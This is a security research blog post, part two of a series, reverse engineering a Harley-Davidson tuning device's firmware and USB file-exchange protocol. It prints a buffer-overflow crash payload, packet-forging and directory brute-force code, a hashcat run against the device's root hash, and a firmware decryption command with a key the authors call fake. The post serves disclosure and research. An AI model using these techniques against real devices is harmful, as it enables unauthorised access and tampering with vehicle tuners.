Hacking a Harley's Tuner - Part 2

Reverse Engineering a famous Harley’s tuner

NOTE: All encryption keys and passwords are fake ones made up for writing this post.


In the previous part we ended up downloading the full firmware unencrypted from the console connection. Now it’s time to show you what we have done with it.


  • Buffer overflow in proprietary file exchange protocol: control of Program Counter, hard to reach a code execution because of input validation
  • Command execution function left in the code, likely for debug purposes
  • Firmware encryption keys, log encryption keys, and root password uncovering

Part 1: Finding a Buffer Overflow

The Filex protocol is the name of the proprietary protocol used on the USB Link port. The Windows tools shown in the previous part use the PVLink.dll shared library. It exposes several functions, and each one of them corresponds to a specific sequence of Filex messages. We can capture those Filex messages using USBPcap:


In the DLL PVLink.dll, we can list the functions responsible for sending those messages:


We had to chose a candidate for scouting, so we started focusing the PVReadFile function.

1.1 - PVReadFile

Here is the PVReadFile prototype:

 int *pvreadfile(char* filepath,char* destination_buffer, unsigned int size ,int* pointer_to_mode);

The filepath has to be a string in the form: folder:file name, and the mode integer has probably nothing to do with an actual reading mode (r, w), we just suspected it was linked and hardcoded it to the same value we had seen in the Wireshark captures.

This function uses the following sequence of Filex messages:

  • hello: get PowerVision serial number
  • file_info: get target file size
  • open_handle: create a local file descriptor pointing to the targeted file
  • read_handle: read from the previously created handle
  • close_handle: self explanatory

(NB: the complete list of available functions is in part 2.1)

We tried fuzzing both the folder and the filename with different attack patterns (directory traversal, encodings…) until we experienced an interesting thing. The device would crash if the file name parameter, second part of the filepath parameter, contains more than 171 characters. We were hunting for a buffer overflow, and we definitely found one.

1.2 - Analyzing the Buffer Overflow

We had a crash, now we needed to know if it was exploitable. Hopefully we can reverse the firmware we obtained previously. The root of the SIGSEGV is found in a function named CLEAN_PATH, which, ironically enough, was made to restrain unauthorized file system access, and hence help secure the device.

It checks for ‘\’, ‘/’ and ‘..’ patterns and stops if it encounters any of those It then compares the folder name (the string before the ‘:’) against a white list of authorized folders:

uint sanitize_path(int param_1,char *log_msg,int size,byte *param_path,int len,undefined *param_6)

  byte bVar1;
  char *path_:;
  char *pcVar2;
  int iVar3;
  uint uVar4;
  uint counter;
  char filename [127];
  char parsed_path [20];
  *param_6 = 1;
  if (len < size) {
    counter = (uint)(0 < len);
    if (len < 1) {
      log_msg[counter] = '\0';
      path_: = strchr(log_msg,0x3a);
      if (path_: == (char *)0x0) {
        bVar1 = *(byte *)(param_1 + 4);
        if (bVar1 == 0) {
          log("CLEAN_PATH: Denying access to \'%s\'\n",log_msg);
          return (uint)bVar1;
        log("CLEAN_PATH: Allowing access to \'%s\'\n",log_msg);
        *param_6 = 0;
        return 1;
      pcVar2 = strchr(log_msg,0x5c);
      if ((pcVar2 != (char *)0x0) || (pcVar2 = strchr(log_msg,0x2f), pcVar2 != (char *)0x0)) {
        log("CLEAN_PATH: Slashes not allowed\n");
        return 0;
      pcVar2 = strstr(log_msg,"..");
      if (pcVar2 != (char *)0x0) {
        log("CLEAN_PATH: \'..\' not allowed\n");
        return 0;

We can see conditional jumps looking for the characters:

  • 3A : folder/filename delimiter
  • 5C , 2F : antislash and slash
  • 2E2E : parent directory for Unix systems

and then break if the strings contain any of these. This is not a web application, so HTML, Base64, or any king of encoding will be taken as a raw string.
Subsequently, it copies the folder name and file name in local variables using strcpy:

      if (path_: + -(int)log_msg < (char *)0x10) {
        *path_: = '\0';
        strcpy(filename,path_: + 1);

This if checks for the length of the folder name, which is supposed to be under 16 bytes, so it is protected. However, the second strcpy does not check the length of the file name! And according to Ghidra’s stack frame, there is 127 bytes for the file name’s buffer. The buffer overflow occurs here.
So now we need to get debugging in order to see if we can exploit this.

1.2.1 - Firmware emulation

At first we tried to run a GDB shell directly on the PowerVision device. Since it is a kernel in version 2.6.36, finding a statically precompiled GDB that wont return a

Kernel too old

error message is nearly impossible. We thought of running an Ubuntu ARM 2.6.36 and compile GDB statically ourselves but it seemed longer. Instead, we went for firmware emulation.

├── arm7
│   ├── BobcatArm7-00.01.06.dde
│   └── bootloaderBobcat-00.01.02.dde
├── BobcatApp-arm
├── bobcat.ddskin
├── Bobcat-default.config
├── filex-server-arm
├── fx
├── harley.dbx
├── PVConditions-BigTwin.pvt
├── PVConditions-Street.pvt
├── PVConditions-VRod.pvt
├── splash
│   └── title_pv.tga
└── updaters
    ├── update.PVFIRMWARE1
    ├── update.PVGUI1
    ├── update.PVSKIN1
    └── update.PVTUNEDB1

In the previous part, we downloaded the firmware through the UBI blocks using the recovery shell. The directories structure above is a subset of files found in the readonly part of the firmware. The two most important binary files are filex-server-arm, which mostly handles the filex protocol over USB Link, and BobcatApp-arm that contains all the Dynojet logic for bike tunes, licenses and logs.

We ran the Linux hardening-check tool on our firmware binaries:

 Position Independent Executable: no, normal executable!
 Stack protected: no, not found!
 Fortify Source functions: no, only unprotected functions found!
 Read-only relocations: no, not found!
 Immediate binding: no, not found!
 Stack clash protection: unknown, no -fstack-clash-protection instructions found
 Control flow integrity: no, not found!

Of course, on an old 2.6.36 Linux, we were expecting this.

We used the following command line to locally run the filex-server-arm binary:

$ qemu-arm -g 1234 -L squashfs-root/ filex-server-arm -V -s PHONYSERIALNUMBER

Gdb-server listens on localhost:1234, the directory squashfs-root/lib contains all the required shared object libraries, and we know which arguments are expected from reversing the main function.

Now that the ARM binary is running in the background, we can debug it using gdb-multiarch. The process will read Filex messages from /dev/ttyGS0, so we created a named pipe using:

$ mknod squashfs-root/dev/ttyGS0 p
$ ls squashfs-root/dev/
├── mtdblock0
├── random
├── tty
├── ttyGS0
├── ttyS0
├── ttyS1
├── ubi0
├── ubi0_0
├── ubi0_1
├── ubi0_2
├── ubi_ctrl

And while being debugged in GDB, we can shoot our previously crafted packets of 171+ bytes:

$ python filex_fuzzer.py > squashfs-root/dev/ttyGS0

Here is a quick exploit code:

def build_path_exploit():
    op = FilexMsg()
    data = "updates:"+"A"*175
    op.gen(16, 1, 1, 13, len(data), data )
    chk = op.do_checksum()
    pkt = op.dump_hex().decode('hex')
    return pkt

So the first 171 bytes are for reaching the PC register, then we can write our 32 bit pointer in the next slots. The total payload is 175 bytes.

We get:


We can clearly see that we control the Program Counter register, which means we can change the execution flow to do something better than a SIGSEGV.
Yet we encounter one last problem: there is a charset verification on what goes in the filename buffer. If a char’s value is not contained between 0x20 and 0x7F, the function will enter an error case and the buffer will not be copied, which is a shame because we have the perfect candidate for a pointer: the CFILE_DO_COMMAND function! (see part 2.1) The problem is that its address contains hex values above 0x7F and even the stack is loaded at addresses that can’t be written in the buffer.

1.2.2 - Difficulty to exploit the Buffer Overflow

While the buffer overflow exists, we did not identify a way to execute code from it yet. We are open to suggestions if you have any ideas, feel free to submit them to us via our Discord: https://discord.gg/eTnPNTuCTZ

So far, we have tried:

  • Jumping to the .text: code starts around 0x9d18, so the first byte is already higher than 0x7F
  • Jumping to the stack: addresses are around 0xfffe… so same problem

Part 2: Focus on the Filex Protocol

Earlier we mentioned the Filex protocol as the underlying logic behind the PVLink.dll functions. We needed to know more about it. Specifically, which kind of operations were available. I’m insiting on that part, as experience has shown me that when an API or service exposes several types of operations, it is not uncommon to find:

  • Functions more vulnerable than others due to “historical reasons”
  • Deliberately open backdoors meant for debugging/maintenance

We were now hunting for one of those. So let’s continue with the protocol reverse engineering!

2.1 - Filex Packets Structure

A simple packet looks like:


We notice the delimiters (0xF0) and some kind of headers in little-endian.


Here, in another example, we can see a different function. This one is systematically called prior to any read, as it returns the file’s size, which is used for the actual read function.

After a few captures Wireshark, we started understanding the structure of the binary messages. Here is the parsing of the DELETE-FILE message:


Skipping a few boring details, here is the full Kaitai Struct:

  - id: start_byte
    size: 1
    contents: [0xf0]
  - id: type
    type: s4
    enum: type_value
  - id: param1
    type: s4
  - id: param2
    type: s4
  - id: datalen
    type: s4
  - id: seq
    type: s4
  - id: data
    size: datalen
    type: strz
    encoding: ASCII
  - id: checksum
    type: u1
  - id: end_byte
    size: 1
    contents: [0xf0]

The Kaitai Struct is quite simple, there is no nested data.

  • Delimiters: 0xF0 (start and end)
  • Headers: 5 integers (32 bits) in Little Endian used for function types, parameters, data length, and a sequence number
  • Data
  • Checksum: 1 byte

The only thing we now need to forge packets is the algorithm to generate valid checksums, otherwise they will be rejected by the filex-server. We don’t need the firmware for this as the PVLink.dll is himself able to forge correct packets.


The algorithm is quite simple:

  • A loop goes over all the bytes in the packet until the checksum offset and sums them up in a one byte register
  • XOR with 0xFF
  • If the checksum value is 0xF0 there is a conflict with the end of packet’s delimiter, and the checksum is replaced by 0xDB 0xDC

Let’s get to packet forging!

Now we can iterate over all the possible function index values, and when we reach the function index 0x16 we receive a very interesting result from the PowerVision:

 Invalid cmd string

That’s good for us. It’s quite common to see developer features left in products like this. Often the devs need a quick shell access for debugging purposes. But after many attempts, I did not succeed in executing any command. Something was off. Months later when I got my hands on the firmware, I was then able to reverse the function supposed to execute the shell command:

size_t __fastcall shell_cmd(int a1, int a2, const char *a3)
  if ( data_len < 1024 )
    if ( data_len <= 0 )

      v11 = *(_DWORD *)(v3 + 4);
      v12 = *(_DWORD *)(v3 + 8);
      *(_BYTE *)v6 = 0;
      result = log("TODO: shellcmd %d %u %s\n", v11, v12, &v14);
      *((_DWORD *)v5 + 1) = 0;
      return result;

What do you mean, TODO???
It seems that the function is actually implemented as we can see a call to system without any cross-reference:


My guess would be they never changed the log message containing the TODO, but the CFILE_DO_COMMAND exists in the code. They probably just removed its call from the release version.

At this stage of the PowerVision study, we didn’t have the firmware, so all we could do was raw-guessing what were the available Filex messages by looking at error responses (that would often be empty). But once we obtained it (see part 1), we were able to get a much better vision over the available Filex messages:

    1: hello
    4: getinfo
    5: open_handle
    6: close_handle
    7: delete_file
    8: mkdir
    10: read_file
    11: write_file
    12: flush_handle
    13: open_dir
    14: read_dir
    15: close_dir
    16: file_info
    17: shell_cmd
    18: shutdown
    2: getseed
    3: sendkey
    9: filesync

We had reached our goal, which was mapping all the possible Filex messages!

2.2 - Brute Forcing directories

We tried to map the file system using the functions directly availble in the DLL. (This is a blackbox approach we had to use before being able to get the firmware). The good thing with DLL’s is that they export symbols even if they are stripped.


We used the PVReadDir function to browse available directories:

int *pvreaddir(char* filepath, char* destination_buffer, int mode, int* integer_parameter);

The prototype is very similar to the one of PVReadFile we used earlier. However, it is a bit harder to read from it’s result as we have to reverse engineer the returned structure. Here is the code that enumerates directories using a wordlist and PVReadDir:

#include <stdlib.h>
#include <strings.h>
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <dirent.h>

typedef int (*pvreadfile)(char*,char* , unsigned int ,int*);
typedef int (*pvreaddir)(char*, char*, int, int*);
typedef int (*pvgetsize)(char*, int*);
typedef int (*pvdosoap)(int, char*, char**, char*, int, int, int*, int*);

char *type(int t){
  case 4:
    return "FOLDER: ";
  case 8:
    return "FILE: ";
    return "UNK: ";

void read_dir(char *file){
  HMODULE hModule = LoadLibrary("PVLink.dll");
  pvreaddir readdir = (pvreaddir) GetProcAddress(hModule, "PVReadDir");
  char *dest = malloc(2048*sizeof(char));
  int mode = 0x400;
  int parm = 0;
  int res = readdir(file, dest, mode, &parm);
  // The PowerVision returns a directory structure with each field being a different file in the folder, separated by 132 bytes each
  // This loop is only made for parsing the PVReaddir response and show all the files in the folder
  for (int i=0;i<=parm;i++){
    printf("%s%s\n", type(*dest), dest+4);
void brute_dir(){ 
  HMODULE hModule = LoadLibrary("PVLink.dll");
  pvreaddir readdir = (pvreaddir) GetProcAddress(hModule, "PVReadDir");
  char *dest = malloc(2048*sizeof(char));
  int mode = 0x400;
  int parm = 0;
  FILE* dlist = fopen("directory_list.txt", "r");
  char line[256];
  while (fgets(line, sizeof(line), dlist)) {
    strtok(line, "\n");
    strcat(line, ":");
    int res = readdir(line, dest, mode, &parm);
    if (res != 1009){
	printf("Read status=%d\nDirname=%s\n", res, line);
    memset(file, 0, 64*sizeof(char));

int main(int argc, char **argv){
  return 0;

Nothing exotic here, we just:

  • Load the DLL file using the LoadLibrary function
  • Locate the function we want to execute using the function’s name and dlsym
  • Set the parameters to be roughly the same as seen in the USBPcap captures (except the ones we want to control)
  • Execute the call
  • Parse the returned structure using a dirty loop

The returned structure looks like:

    debug033:001D2828 db    8
    debug033:001D2829 db    0
    debug033:001D282A db    0
    debug033:001D282B db    0
    debug033:001D282C db  74h ; t
    debug033:001D282D db  65h ; e
    debug033:001D282E db  73h ; s
    debug033:001D282F db  74h ; t
    debug033:001D2830 db    0

- 8 is a file
    debug033:001D28AC db    4
    debug033:001D28AD db    0
    debug033:001D28AE db    0
    debug033:001D28AF db    0
    debug033:001D28B0 db  64h ; d
    debug033:001D28B1 db  79h ; y
    debug033:001D28B2 db  6Eh ; n
    debug033:001D28B3 db  6Fh ; o
    debug033:001D28B4 db  6Ah ; j
    debug033:001D28B5 db  65h ; e
    debug033:001D28B6 db  74h ; t
    debug033:001D28B7 db  5Fh ; _
    debug033:001D28B8 db  74h ; t
    debug033:001D28B9 db  75h ; u
    debug033:001D28BA db  6Eh ; n
    debug033:001D28BB db  65h ; e
    debug033:001D28BC db  73h ; s
    debug033:001D28BD db    0

- 4 is a folder
    debug033:001D269C db    4
    debug033:001D269D db    0
    debug033:001D269E db    0
    debug033:001D269F db    0
    debug033:001D26A0 db  2Eh ; .
    debug033:001D26A1 db  2Eh ; .
    debug033:001D26A2 db    0

- .. is a folder !!

We can do the same thing more simply with Python:

from ctypes import *
def read_dir(path):
    pvlink = CDLL("./PVLink.dll")
    readdir = pvlink.PVReadDir
    nbfolders = c_int(0)
    mode = 0x400
    res = readdir(path, byref(dest), mode, byref(nbfolders))
    return res

This fuzzing/bruteforcing gave us interesting information, we discovered the following directories:

  • updates: actually redirects to the root of accessible folders
  • params: only two files: soap_req and soap_resp used for querying a SOAP API over USB Link port
  • stock_bins: contains tunes files
  • logs: you can guess what is in there

The most interesting here would be the updates folder, as it contains something we have been eagerly looking for: the licenses folder. The problem is that with the Filex protocol, it is impossible to read in nested folders, and the files we want can only be read using the pattern: updates:licenses:license_file.txt. However, in the next part, we show how we obtained a pretty good way to be able to read wherever we want.

Part 3: Looting

Root password

Since we can get the /etc/shadow file, we ran hashcat to get the root password of the device:

$ hashcat -a 3 -m 500 squashfs-root/etc/shadow ?l?l?l?l?l?l
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i7-10710U CPU @ 1.10GHz, 13597/13661 MB (4096 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 67 MB

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$SALT$HASH
Time.Started.....: Tue Jan 19 10:53:35 2021 (6 secs)
Time.Estimated...: Tue Jan 19 10:53:41 2021 (0 secs)
Guess.Mask.......: ?l?l?l?l [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    34393 H/s (5.26ms) @ Accel:64 Loops:250 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 186624/456976 (40.84%)
Rejected.........: 0/186624 (0.00%)
Restore.Point....: 6912/17576 (39.33%)
Restore.Sub.#1...: Salt:0 Amplifier:8-9 Iteration:750-1000
Candidates.#1....: hdezi -> 6FYGvuy

Started: Tue Jan 19 10:53:33 2021
Stopped: Tue Jan 19 10:53:42 2021

After trying the whole rockyou.txt without any success, we tried with different mask attacks, and got one very interesting result: we found a matching password that was only a few lowercase letters. Considering the amount of protections in place we were was quite surprised to find a matching root password so easily. Maybe it is an MD5 collision?
Anyways thanks to this, we don’t have to go through the whole U-Boot/Recovery mode process to get a shell. Now we can connect directly using the internal UART Debug port:

Welcome to bobcat
bobcat login: root
# id
uid=0(root) gid=0(root)

Encryption Keys

After getting the root shell, we wanted to find our holy grail: the PVU_FILE encryption password. Grepping for OpenSSL calls in the squashfs-root, we found the following function in the Bobcat-app-arm binary:

  local_1a0 = 0;
          "unzip -p \'%s\' PVU_FILE | openssl enc -d -aes-256-cbc -salt -out %s -pass pass:",
  iVar3 = check_firmware_file(file);
  if (iVar3 == 0) {
    memcpy(err_file,"Missing package contents",0x19);
    return 0;

Our password is a 32 bytes AES-256-CBC key. But reading the code above, we realized the password might be coming from one of the .dbx files.

$ binwalk -E harley.dbx


Well those files look encrypted. But instead of playing cat and mouse with crypto keys, this time we had luck. The ubifs part of the firmware (read/write) contains log files:

Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_TYPE'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_CERT'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_FILE'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_SYNC: Performing sync...
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_SYNC: Sync done.
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DO_COMMAND: unzip -o '/flash/storage/PV_TUNEDB-' PVU_TYPE -d /tmp
Dec 31 17:12:28 bobcat user.info BobcatApp: CFILE_DO_COMMAND: Returned 0
Dec 31 17:12:28 bobcat user.info BobcatApp: CFILE_SYNC: Performing sync...
Dec 31 17:12:28 bobcat user.info BobcatApp: CFILE_SYNC: Sync done.
Dec 31 17:12:28 bobcat user.info BobcatApp: CFILE_DO_COMMAND: unzip -o '/flash/storage/PV_TUNEDB-' PVU_CERT -d /tmp
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_DO_COMMAND: Returned 0
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_SYNC: Performing sync...
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_SYNC: Sync done.
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_DO_COMMAND: unzip -p '/flash/storage/PV_TUNEDB-' PVU_FILE | openssl enc -d -aes-256-cbc -salt -out /tmp/PVU_FILE -pass pass:F6678H9Z9U8A7DHZDYCCUXH9SH2
Dec 31 17:13:15 bobcat user.info BobcatApp: CFILE_DO_COMMAND: Returned 0

Nice! We found the holy grail. I wondered what was the point of going through that many obfuscation layers to eventually just leave the encryptions keys in plaintext in the log files…
Well, those log files are supposed to be encrypted:

void encrypt_logs(undefined4 param_1)

  size_t sVar1;
  uint uVar2;
  char acStack1040 [1028];
  sprintf(acStack1040,"logread | openssl enc -aes-256-cbc -a -salt -out %s",param_1);
  sVar1 = strlen(acStack1040);
  acStack1040[sVar1 + 7] = 'p';
  acStack1040[sVar1 + 8] = acStack1040[sVar1 + 7] + -0xdf;
  acStack1040[sVar1 + 0xd] = acStack1040[sVar1 + 8] + '\xaa';
  acStack1040[sVar1 + 0x10] = acStack1040[sVar1 + 7] + -0x7c;
  acStack1040[sVar1 + 0x11] = acStack1040[sVar1 + 8] + -0x8d;
  acStack1040[sVar1 + 6] = acStack1040[sVar1 + 0x11] + -0x20;
  acStack1040[sVar1 + 0xf] = acStack1040[sVar1 + 8] + -0x94;
  acStack1040[sVar1 + 0xb] = acStack1040[sVar1 + 8] + -0x6e;
  acStack1040[sVar1 + 0xe] = acStack1040[sVar1 + 0xf] + '\x86';
  acStack1040[sVar1 + 9] = acStack1040[sVar1 + 8] + '\x78';
  acStack1040[sVar1 + 0x12] = acStack1040[sVar1 + 7] + -0x32;
  acStack1040[sVar1 + 5] = acStack1040[sVar1 + 0xb] + '12';
  acStack1040[sVar1] = acStack1040[sVar1 + 7] + -0x90;
  acStack1040[sVar1 + 3] = acStack1040[sVar1 + 5] + -0xfc;
  acStack1040[sVar1 + 0xc] = acStack1040[sVar1 + 0x10] + '?';
  acStack1040[sVar1 + 10] = acStack1040[sVar1 + 0xc] + '\x80';
  acStack1040[sVar1 + 1] = acStack1040[sVar1 + 0x11] + -12;
  acStack1040[sVar1 + 4] = acStack1040[sVar1 + 9];
  uVar2 = (uint)(byte)acStack1040[sVar1 + 0xf] + 0x70 & 0xff;
  acStack1040[sVar1 + 2] = (char)uVar2;
  log("Executing system command: %s\n",acStack1040,uVar2,(uint)(byte)acStack1040[sVar1 + 5]);

The function generates a password with various sums, subtractions, and permutations. Finding the password here is just a matter of minutes, and so would be decrypting the log files. The obfuscation is quite weak. But that’s not the best part. The original log files are not deleted after being encrypted. Which is probably the reason why we can find the firmware updates encryption keys in plaintext.


We had a lot of fun doing this but we would like to explore a few more mysterious things before calling it a day:

  • Encrypted databases: how to decrypt them
  • Forge firmwares and write it: either by writing directly to the ubi/mtd devices or forging updates and bypassing the integrity check
  • License bypass: VIN unlock by patching firmware or replacing license signature keys

It was a long post, thanks for staying until the end and stay classy netsecurios!


  • Dotdotpwn: https://github.com/wireghoul/dotdotpwn
  • Seclists: https://github.com/danielmiessler/SecLists
  • GDB-gef: https://github.com/hugsy/gef
  • Qemu cross debugging: https://reverseengineering.stackexchange.com/questions/8829/cross-debugging-for-arm-mips-elf-with-qemu-toolchain
  • Kaitai Web IDE: https://ide.kaitai.io/


Kaitai Struct for filex messages:

# This is a generated file! Please edit source .ksy file and use kaitai-struct-compiler to rebuild

from pkg_resources import parse_version
import kaitaistruct
from kaitaistruct import KaitaiStruct, KaitaiStream, BytesIO
from enum import Enum

if parse_version(kaitaistruct.__version__) < parse_version('0.9'):
    raise Exception("Incompatible Kaitai Struct Python API: 0.9 or later is required, but you have %s" % (kaitaistruct.__version__))

import struct

M8 = 0xffL
M32 = 0xffffffffL
def m32(n):
    return n & M32
def madd(a, b):
    return m32(a+b)
def msub(a, b):
    return m32(a-b)
def mls(a, b):
    return m32(a<<b)
def int322le(val):
    return struct.pack('<I', val)

class FilexMsg(KaitaiStruct):

    class TypeValue(Enum):
        hello = 1
        getseed = 2
        sendkey = 3
        getinfo = 4
        open_handle = 5
        close_handle = 6
        delete_file = 7
        mkdir = 8
        filesync = 9
        read_file = 10
        write_file = 11
        flush_handle = 12
        open_dir = 13
        read_dir = 14
        close_dir = 15
        file_info = 16
        shell_cmd = 17
        shutdown = 18

    def __init__(self, _parent=None, _root=None):
        self._parent = _parent
        self._root = _root if _root else self

    def fromfile(self, _io, _parent=None, _root=None):
        self._io = _io
        self._parent = _parent
        self._root = _root if _root else self

    def _read(self):
        self.start_byte = self._io.read_bytes(1)
        if not self.start_byte == b"\xF0":
            raise kaitaistruct.ValidationNotEqualError(b"\xF0", self.start_byte, self._io, u"/seq/0")
        self.type = KaitaiStream.resolve_enum(FilexMsg.TypeValue, self._io.read_s4le())
        self.param1 = self._io.read_s4le()
        self.param2 = self._io.read_s4le()
        self.datalen = self._io.read_s4le()
        self.seq = self._io.read_s4le()
        self.data = (KaitaiStream.bytes_terminate(self._io.read_bytes(self.datalen), 0, False)).decode(u"ASCII")
        self.checksum = self._io.read_u1()
        self.end_byte = self._io.read_bytes(1)
        if not self.end_byte == b"\xF0":
            raise kaitaistruct.ValidationNotEqualError(b"\xF0", self.end_byte, self._io, u"/seq/8")

    def gen(self, type_int, param1, param2, seqnum, length, data):
        self.start_byte = b"\xF0"
        self.type = type_int
        self.param1 = param1
        self.param2 = param2
        self.datalen = length
        self.seq = seqnum
        self.data = data
        self.checksum = 0
        self.end_byte = b"\xF0"

    def dump_hex(self):
        return self.start_byte.encode('hex') + int322le(self.type).encode('hex') + int322le(self.param1).encode('hex') + int322le(self.param2).encode('hex') + int322le(self.datalen).encode('hex') + int322le(self.seq).encode('hex') + self.data.encode('hex') + '{0:02x}'.format(self.checksum)  + self.end_byte.encode('hex')

    def do_checksum(self):
        a = self.dump_hex().decode('hex')[1:-2]
        chk = 0
        for e in a:
            chk += int("0x"+e.encode('hex'), 16)
            chk = chk & M8
        res = (chk^0xFF)&M8
        res = madd(res, 1)&M8
        if res == 0xF0:
            return 0xD0B0
        self.checksum = res
        return res & M8

PowerVision Part 2 —

Written on January 16, 2021